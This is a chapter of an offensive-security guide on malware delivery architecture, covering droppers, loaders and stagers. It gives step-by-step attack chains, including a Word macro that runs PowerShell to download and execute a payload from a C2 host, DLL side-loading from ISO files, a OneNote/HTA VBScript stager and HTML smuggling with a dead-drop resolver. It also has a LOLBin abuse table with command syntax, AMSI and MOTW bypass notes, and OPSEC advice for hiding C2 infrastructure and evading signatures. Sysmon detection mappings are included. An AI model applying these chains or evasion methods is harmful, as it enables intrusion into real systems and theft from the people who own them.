Chapter 14

Dropper vs Loader vs Stager Architecture

Part 3 begins. "Dropper," "loader," and "stager" appear in every threat intelligence report but are used interchangeably in a way that hides real architectural differences. Choosing the wrong architecture for your delivery vector wastes engineering time and leaves unnecessary detection surface. This chapter defines each term precisely, maps them to the evidence they leave behind, explains the design questions you must answer before writing any code, walks through four concrete chain designs for different threat models, builds a complete LOLBin reference, and teaches you to annotate any chain with its exact Sysmon event footprint.

Precise Definitions — Three Different Things

The clearest way to distinguish them is by what they do and what evidence they leave:

Dropper, Loader, Stager — structural comparison
  DROPPER
  Defining act:   Writes at least one new binary to disk, then executes it.
  Job ends when:  The dropped file exists on disk and is executing.
  ─────────────────────────────────────────────────────────────────────
  Architecture:   Dropper binary → writes file → executes it → exits
  File artifacts: ✗ Two or more files on disk (the dropper + what it dropped)
  Network:        Optional (may drop an already-embedded payload)
  Memory:         Small (just runs the dropped process)
  ─────────────────────────────────────────────────────────────────────
  Sysmon events:  11 (FileCreate), 1 (ProcessCreate), possibly 3 (Network)
  AV exposure:    BOTH files can be scanned. The dropped file is the bigger risk.
  ─────────────────────────────────────────────────────────────────────
  When used:      Quick PoC, when evasion doesn't matter, physical access ops
  Real examples:  Emotet dropper → banking trojan, many ransomware affiliates

  LOADER
  Defining act:   Executes payload entirely in memory; no second file created.
  Job ends when:  Payload is running inside the loader's process (or another).
  ─────────────────────────────────────────────────────────────────────
  Architecture:   Loader binary (on disk) → decrypt embedded bytes → VirtualAlloc
                  → memcpy → execute (in same or different process)
  File artifacts: ✗ Only the loader binary on disk. Payload: in memory only.
  Network:        Optional (may download payload instead of embedding it)
  Memory:         Larger (contains the full payload as encrypted bytes)
  ─────────────────────────────────────────────────────────────────────
  Sysmon events:  1 (ProcessCreate of loader), 7 (DLL loads), EDR memory events
  AV exposure:    Loader can be signed, obscured. Payload never scanned as a file.
  ─────────────────────────────────────────────────────────────────────
  When used:      EDR environments, when file signature evasion is key concern
  Real examples:  Cobalt Strike's DLL loader, PlugX loader, BazarLoader

  STAGER
  Defining act:   Downloads and executes stage 1 payload at runtime.
  Job ends when:  Stage 1 is executing. Stager may exit.
  ─────────────────────────────────────────────────────────────────────
  Architecture:   Tiny stager (100–500 bytes) → network connect → recv bytes
                  → VirtualAlloc → execute downloaded bytes
  File artifacts: ✗ The stager itself (very small). No payload file.
  Network:        REQUIRED. Fails without working C2 connectivity.
  Memory:         Minimal stager; stage 1 size determined at download time.
  ─────────────────────────────────────────────────────────────────────
  Sysmon events:  1 (ProcessCreate of stager), 3 (Network), 22 (DNS), memory events
  AV exposure:    Stager has no payload bytes to scan. But network = detection signal.
  ─────────────────────────────────────────────────────────────────────
  When used:      Tight delivery slots, when payload must be updateable post-deploy
  Real examples:  Meterpreter stager, PowerShell download cradle
The same payload, three delivery architectures
A Cobalt Strike Beacon can be delivered as: (a) a dropper that writes beacon.dll to disk and calls rundll32 on it; (b) a loader that decrypts embedded beacon shellcode into RWX memory and executes it; (c) a tiny stager that connects to the team server and downloads the beacon on demand. The beacon's behavior is identical in all three cases. The detection profile of the delivery is completely different. Choosing the architecture is a security engineering decision, not a payload decision.

Design Questions — Answer These Before Writing Code

The most expensive mistake in offensive tooling: writing a sophisticated payload and then realizing the delivery architecture is wrong for the target. These five questions drive every architectural decision:

Delivery chain design decision tree
  Q1: What file type does the delivery vector support?
  ─────────────────────────────────────────────────────────────────
  Email attachment:   .docx, .pdf, .zip, .iso, .img, .lnk, .one, .htm
                      → Each has different execution paths and AV coverage
  Browser download:   .exe, .dll, .msi, .js, .hta, .py (if Python installed)
  Web exploit:        Shellcode or reflective DLL (browser process, sandboxed)
  USB/physical:       Any file type that auto-runs or that the target will open

  Q2: What execution context does the delivery create?
  ─────────────────────────────────────────────────────────────────
  VBA macro (Word/Excel):  winword.exe / excel.exe → child process
  LNK file:                explorer.exe spawns target executable
  HTA file:                mshta.exe runs JScript/VBScript
  XLM macro (Excel 4.0):   excel.exe executes directly (no VBScript engine)
  DLL side-load:            signed parent EXE → loads your DLL
  ISO container:            Mount drive → user runs EXE inside
  → Context determines: parent process, integrity level, monitoring scrutiny

  Q3: What monitoring does the target have?
  ─────────────────────────────────────────────────────────────────
  No EDR, basic AV only:   Dropper is fine (sign the binary, AV won't catch)
  Sysmon + SIEM:            All events logged; avoid loud parent chains
  EDR (CrowdStrike, etc.):  Memory events, unbacked threads, injection detection
  AMSI:                     PowerShell, VBScript, JScript content scanned in-memory
  Script Block Logging:     PS content visible in Event 4104 regardless of -enc
  AppLocker / WDAC:         Unsigned code may be blocked; LOLBin-only execution

  Q4: What size limits does the path have?
  ─────────────────────────────────────────────────────────────────
  Email attachment:         Most gateways: 10–25MB limit, but > 3MB is suspicious
  VBA embedded payload:     Unlimited technically, but Base64 blob > 100KB is flagged
  LNK command line:         ~4096 characters maximum (limits inline script size)
  URL query string:         Varies; body is better for large data
  Registry Run key:         2KB practical limit (won't fit full payload)

  Q5: Does the target environment have egress filtering?
  ─────────────────────────────────────────────────────────────────
  Open egress:              Any protocol works; stager is easiest
  Proxy inspection:         HTTPS to known domains (cloud providers) best
  DNS-only egress:          Use DNS tunneling (DNS exfil C2; see Part 14)
  No internet at all:       Must use embedded payload (loader, not stager)

Four Chain Shapes with Full Annotations

Shape A — Dropper Chain (No EDR Target)

Target environment: Small business, no EDR, only Windows Defender
Delivery vector:    Phishing email with .docx attachment

CHAIN:
  1. Victim receives email, opens .docx
  2. Macro (Word VBA) executes:
     Shell("cmd /c powershell -w h iwr http://c2/p.exe -o %TEMP%\update.exe")
  3. PowerShell downloads p.exe to %TEMP%\update.exe
  4. Macro then executes update.exe:
     Shell("cmd /c %TEMP%\update.exe")

EVENT FOOTPRINT:
  Sysmon  1: winword.exe → cmd.exe (parent: Word — suspicious but no EDR)
  Sysmon  1: cmd.exe → powershell.exe (less suspicious if logging is basic)
  Sysmon  3: powershell.exe → C2 HTTP download
  Sysmon 11: %TEMP%\update.exe created (file on disk — Defender scans it!)
  Sysmon  1: cmd.exe → update.exe (execution of downloaded file)
  Security 4688: all process creations (if audit process creation enabled)

EVASION REQUIREMENTS:
  • update.exe must not be detected by Defender → sign it or use packer
  • URL must not be on Defender's reputation list
  • The PowerShell command line must not match known signatures

VERDICT: Use for: quick tests, non-EDR targets, lab work. Never for EDR environments.

Shape B — Fileless Loader via ISO (No Macro, No EDR Download)

Target environment: Corporate, Defender + basic Sysmon, no mature EDR
Delivery vector:    Phishing email → ZIP → ISO

CHAIN:
  1. Email arrives with ZIP attachment (ISO inside)
  2. Victim mounts the ISO (Windows auto-mounts on double-click)
  3. ISO contains: "Invoice_2024.exe" (legitimate, signed) + "version.dll" (malicious)
  4. Victim runs Invoice_2024.exe
  5. DLL side-load: Invoice_2024.exe loads version.dll from its directory
  6. version.dll DllMain: decrypts embedded shellcode → VirtualAlloc RWX → execute
  7. Shellcode: PEB walk → API hashing → CreateThread → beacon starts

No macros, no PowerShell, no cmd.exe, no download during chain.

EVENT FOOTPRINT:
  (No events from email delivery — just attachment download)
  Sysmon  1: Invoice_2024.exe → executed by user (parent: explorer.exe — NORMAL)
  Sysmon  7: Invoice_2024.exe loads version.dll (DLL load — anomalous for this EXE)
  Sysmon  7: version.dll loads additional DLLs (wininet if downloading beacon)
  EDR (if present): VirtualAlloc RWX, unbacked thread, memory anomaly

EVASION REQUIREMENTS:
  • Invoice_2024.exe must legitimately try to load version.dll (DLL search order)
  • version.dll must pass AV scan of its own (no obvious shellcode patterns)
  • ISO Zone.Identifier not applied to contents (MOTW bypass)

VERDICT: Use for: blocked-macro environments, signed parent process for cover.

Shape C — Stager Chain (Tight Slot, Updateable Payload)

Target environment: Corporate, full EDR, macro blocking via Group Policy
Delivery vector:    OneNote .one file → embedded OLE attachment

CHAIN:
  1. Victim opens .one file (OneNote)
  2. OneNote shows clickable attachment (disguised as an image/document)
  3. Victim clicks → embedded .hta file executes via mshta.exe
  4. HTA contains VBScript stager (~300 bytes of functional code):
     → Set xhr = CreateObject("MSXML2.ServerXMLHTTP")
     → xhr.Open "GET", "https://cdn.legit-cdn.com/assets/v2/bundle.min.js", False
     → xhr.Send / dim sc = xhr.responseBody
  5. Stage 1 (~8KB) arrives as a byte array, injected into mshta.exe's own process
  6. Stage 1: validate environment (FQDN, AD domain membership, uptime check)
  7. Stage 1: downloads stage 2 beacon via DNS-over-HTTPS if validation passes

EVENT FOOTPRINT:
  Sysmon  1: onenote.exe → mshta.exe (suspicious parent-child — well-monitored!)
  Sysmon  7: mshta.exe loads jscript.dll, msxml6.dll (script execution)
  Event 4104: VBScript content logged via AMSI
  Sysmon  3: mshta.exe → outbound HTTPS to CDN host (blends with legitimate traffic)
  EDR: memory allocation in mshta.exe, thread at unbacked address

EVASION REQUIREMENTS:
  • OneNote delivery bypasses email gateway attachment blocking (Nov 2022 phishing wave)
  • CDN URL must be on allowlist or look like legitimate CDN (use real CDN infrastructure)
  • AMSI bypass needed before VBScript stage to prevent script content scan
  • Stage 1 must pass EDR memory scanning (custom encoder or Donut with encryption)

VERDICT: Use for: hardened targets where macro delivery is blocked.

Shape D — Multi-Stage with Environment Validation

Target environment: High-value corporate target, mature EDR, SOC monitoring
Delivery vector:    HTML smuggling → downloaded EXE → DLL side-load

CHAIN:
  1. Victim visits a compromised website or clicks a link
  2. HTML page uses Blob API to smuggle an ISO to the victim's Downloads folder
  3. Victim mounts ISO → contains: legit_signed.exe + hijacked.dll + readme.pdf
  4. readme.pdf displayed (decoy), victim manually clicks legit_signed.exe
  5. DLL side-load: hijacked.dll runs in legit_signed.exe context
  6. hijacked.dll stage 0 (~200 bytes): HTTPS GET to profile.github.com/readme (legitimate URL)
     → reads a comment containing encrypted C2 address (dead drop resolver pattern)
  7. Stage 1 (~5KB): download from resolved C2 → validate environment:
     a. Is this machine domain-joined to a specific domain?
     b. Is the hostname on a known-good list?
     c. Is uptime > 30 minutes? (anti-sandbox)
     d. Is screen resolution ≥ 1920×1080? (anti-sandbox)
  8. If all pass: download stage 2 (full beacon, 500KB) → reflective load
  9. Stage 2: PPID spoofing → appears as child of explorer.exe
  10. Stage 2: sleep jitter, malleable C2 profile → blends with web traffic

EVENT FOOTPRINT:
  (HTML smuggling generates no Sysmon events at the browser level)
  Sysmon  1: legit_signed.exe started by explorer.exe (NORMAL)
  Sysmon  7: legit_signed.exe loads hijacked.dll (anomalous for this EXE)
  Sysmon  3: legit_signed.exe → github.com/profile (looks like legitimate request)
  Sysmon  3: legit_signed.exe → C2 (resolved from dead drop) — suspicious if C2 unknown
  EDR: memory allocation, stage 1 and 2 in memory, thread at unbacked address
  Sysmon  1: explorer.exe appears to spawn beacon thread (PPID spoofed)

VERDICT: Use for: red team engagements against mature SOC with full EDR coverage.

LOLBins — Complete Reference for Delivery Chains

Living-off-the-land binaries — capabilities, detection, and current status
  Binary              │ Primary abuse                     │ Detection risk (2024)
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  powershell.exe      │ Download cradle, IEX, AMSI bypass │ VERY HIGH — everything logged;
                      │ reflective load via P/Invoke       │ AMSI, Script Block Logging,
                      │                                   │ ETW, process monitoring
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  mshta.exe           │ Execute .hta files (local/remote) │ HIGH — well-known abuse;
                      │ inline VBScript via argument       │ many detections exist but
                      │ mshta.exe vbscript:EXPR           │ less scrutinized than PS
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  wscript.exe         │ .js and .vbs scripts              │ MEDIUM — AMSI applies;
  cscript.exe         │ full COM/ActiveX/WMI access        │ console mode (cscript) less
                      │ WScript.Shell.Run() for spawning  │ monitored than wscript
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  rundll32.exe        │ Call DLL export directly          │ MEDIUM — DLL on disk; if
                      │ rundll32 evil.dll,ExportName      │ parent/child is suspicious,
                      │                                   │ flagged immediately
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  regsvr32.exe        │ Squiblydoo: /s /u /n /i:URL       │ VERY HIGH — regsvr32 + URL
                      │ loads remote SCT (COM script)     │ is a burned technique;
                      │                                   │ blocked by many organizations
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  msiexec.exe         │ /q /i URL installs remote MSI     │ MEDIUM — MSI from URL
                      │ Can also: /y register DLL         │ visible in proxy; MSI content
                      │                                   │ scannable by AV
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  odbcconf.exe        │ /a {REGSVR evil.dll}              │ LOW-MEDIUM — less commonly
                      │ (alternative to regsvr32)         │ monitored for this use
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  esentutl.exe        │ /y source /d dest /o (file copy)  │ LOW — rarely monitored
                      │ Alternative to certutil for copy  │ for this capability
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  PresentationHost.exe│ Load XAML from URL                │ LOW — rarely monitored;
                      │ (WDAC bypass in some configs)     │ unusual capability, niche use
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  msbuild.exe         │ Inline task in XML build file:    │ MEDIUM-HIGH — CSC.exe compile
                      │ C# code → compiled and executed   │ event visible; known technique
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  certutil.exe        │ -decode base64.txt → binary       │ BURNED — extremely signatured;
                      │ -urlcache download                │ certutil + outbound = alert
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  wmic.exe            │ process call create "cmd /c ..."  │ HIGH — blocked by default
                      │ (lateral movement + local exec)   │ in many modern configurations
  ────────────────────┼───────────────────────────────────┼──────────────────────────────
  ieexec.exe          │ Run remote EXE from URL           │ MEDIUM — niche binary,
  (Internet Explorer) │ (only if IE installed)            │ rarely monitored specifically

Sysmon Event Map — Chain Step Annotation

The discipline of annotating every chain step with its Sysmon event before implementation forces you to think like the defender and redesign steps that are too loud:

Complete Sysmon event reference for delivery chain steps
  Action                                │ Sysmon Event ID
  ──────────────────────────────────────┼────────────────────────────────────────
  New process created                   │ 1 (ProcessCreate) — includes parent, cmdline
  File written to disk                  │ 11 (FileCreate)
  Network connection (TCP/UDP)          │ 3 (NetworkConnect)
  DNS query                             │ 22 (DNSEvent)
  DLL loaded into process               │ 7 (ImageLoad) — includes hash, signature
  Thread created in another process     │ 8 (CreateRemoteThread)
  Process opened by another             │ 10 (ProcessAccess) — OpenProcess handle
  Registry value written                │ 13 (RegistryValueSet)
  Named pipe created                    │ 17 (PipeCreated)
  Named pipe connection                 │ 18 (PipeConnected)
  WMI filter creation                   │ 19 (WmiFilter)
  WMI subscription creation             │ 20/21 (WmiConsumer/WmiBinding)
  File stream (ADS) created             │ 15 (FileCreateStreamHash)
  Process terminated                    │ 5 (ProcessTerminate)
  Driver loaded                         │ 6 (DriverLoad)
  RawAccess read (disk forensics)       │ 9 (RawAccessRead)
  ──────────────────────────────────────┼────────────────────────────────────────
  VirtualAlloc / WriteProcessMemory     │ NO Sysmon event — EDR-specific telemetry
  NtQueueApcThread                      │ NO Sysmon event — EDR-specific
  Memory region changed to executable  │ NO Sysmon event — EDR-specific
  ──────────────────────────────────────┴────────────────────────────────────────

  High-value detection combos (AND conditions) that alert most SOCs:
  ─────────────────────────────────────────────────────────────────────────────
  • Event 1: winword.exe → powershell.exe (Office spawning PS)
  • Event 1: mshta.exe → powershell.exe
  • Event 8: any process → lsass.exe (credential dumping attempt)
  • Event 3: powershell.exe making outbound connection (download cradle)
  • Event 7: unsigned DLL loading into a signed process
  • Event 1: certutil.exe with URL argument
  • Event 13: Registry Run key written + Event 3 network connection (persistence+C2)
  • Event 22: DNS query to DGA-looking domain (high-entropy, short-lived)

OPSEC Considerations for Delivery

OPSEC (Operations Security) in this context means designing the delivery chain so that even if it's caught and analyzed, it reveals as little as possible about your infrastructure, tooling, and objectives:

OPSEC rules for delivery chain design:

1. C2 infrastructure staging
   Never use your team server directly as the download endpoint.
   Use:  CDN redirect (Cloudflare, AWS CloudFront) in front of team server
   Why:  Team server IP appears in victim's network logs; CDN IP looks legitimate
         If CDN IP is blocked, rotate to new CDN endpoint; team server unchanged

2. Payload uniqueness
   Generate a unique payload per target (random key, unique loader stub).
   Why:  A shared hash across multiple targets links operations together.
         AV cloud-sharing: one victim submits the file → all other targets blocked.
   How:  Parameterize build: donut -e 3 (random key), unique XOR key per build

3. Cradle diversity
   Don't use the same download cradle syntax for every operation.
   YARA detects "IEX (New-Object Net.WebClient).DownloadString" immediately.
   Vary: WebRequest, XMLHTTP, BitsTransfer, Start-BitsTransfer, Invoke-RestMethod

4. Domain aging
   Freshly registered domains are flagged by most reputation systems.
   Age your C2 domains at least 30 days before use.
   Use: expired domain with existing reputation (but verify it wasn't blacklisted)

5. Certificate hygiene
   A self-signed TLS certificate on your C2 is an instant indicator.
   Use: Let's Encrypt with a legitimate-looking domain
   Verify: certificate subject, SAN, and issuer look like legitimate web infra

6. Time-based delivery
   Don't test and use the same infrastructure consecutively.
   Testing from your own IP → logs show attacker IP connecting → attribution risk
   Separate testing infrastructure (different VPS) from operational infrastructure

Questions & Answers

If I use a fileless loader, can an EDR still detect my payload?

"Fileless" means no payload file on disk — not "invisible to EDR." EDRs have multiple detection paths that don't require a file: (1) Memory scanning: EDRs periodically scan executable memory regions against signature databases. If your payload is recognizable (Cobalt Strike beacon without obfuscation, Meterpreter unmodified), it will be detected in memory. (2) Behavioral analysis: APIs called, in what order, from what memory region (backed vs unbacked). (3) Network traffic: even obfuscated beaconing traffic has statistical signatures (regular timing, specific TLS fingerprint, specific HTTP header patterns). A fileless loader eliminates one detection vector (file scanner) while the others remain fully active. The more layers you peel away, the more evasion depth you need in each remaining layer.

What makes the ISO technique work for MOTW bypass, and has it been patched?

Mark of the Web (MOTW) is applied by the Windows Attachment Execution Service (AES) to files downloaded from the internet. When you download an ISO file, the ISO itself gets MOTW. When Windows mounts the ISO and you access files inside it, those files historically did not inherit the MOTW from the container — they appeared as if they came from a local drive. This was the bypass. Microsoft partially addressed this: in Windows 10/11 with KB5016616 (August 2022), they extended MOTW propagation to files inside ISO, IMG, ZIP, and CAB containers opened by Windows Explorer. However, the implementation is inconsistent across Windows versions and update states. As of this writing, the bypass still works on some unpatched systems and some container types. The more reliable bypass is now 7-Zip archives (7-Zip doesn't propagate MOTW to extracted contents by default) and various container formats that Windows doesn't natively handle.

What's the dead drop resolver pattern in Shape D?

A dead drop resolver is a technique where the C2 address is not hardcoded in the stager but instead retrieved from a public, legitimate third-party service. The stager connects to (for example) a specific GitHub user's profile README, a specific Twitter/X user's bio, a Google Docs document, or a Pastebin entry, and reads a comment or string that contains the actual C2 address (usually encrypted or encoded). The advantages: (1) the stager only connects to legitimate, trusted infrastructure (GitHub, Google, Cloudflare) — no connection to unknown IPs; (2) you can change the C2 address by editing the public post without redeploying the stager; (3) the traffic blends with normal access to those services. The disadvantage: if the hosting service detects and removes your post, the stager can't resolve the C2.

Can script block logging capture my PowerShell payload even if I use -EncodedCommand?

Yes. Script block logging (Event ID 4104) captures the deobfuscated, fully parsed script content — not the encoded command-line argument. When PowerShell processes -EncodedCommand [base64], it decodes the base64, parses the script into Abstract Syntax Tree (AST) nodes, and logs those nodes to Event ID 4104 before executing. The encoding is irrelevant to script block logging — it always sees the plaintext script. The only way to avoid script block logging is: (1) patch the PowerShell engine's logging mechanism in memory before the script runs (technically feasible but requires initial code execution); (2) don't use PowerShell at all; (3) use a compiled reflective PowerShell runner that hosts the PS engine without Windows' logging hooks. For any target with script block logging enabled, assume your PowerShell content is visible.

How do I choose between embedding the payload in the loader vs downloading it on demand?

Embed when: (1) you don't want any network traffic at delivery time; (2) the target environment has strict egress filtering that would block the download; (3) the payload is small enough that embedding doesn't make the loader suspicious by size. Download on demand when: (1) the payload is large (embedding a 5MB full agent makes the loader itself suspicious); (2) you need the ability to update the payload post-deployment without re-delivering the loader; (3) you want the loader to be essentially "empty" (just transport code) so it passes AV scanning. The hybrid: embed an encrypted small stub that downloads the full payload — this keeps the loader file small and payload-free while still working without persistent file drops.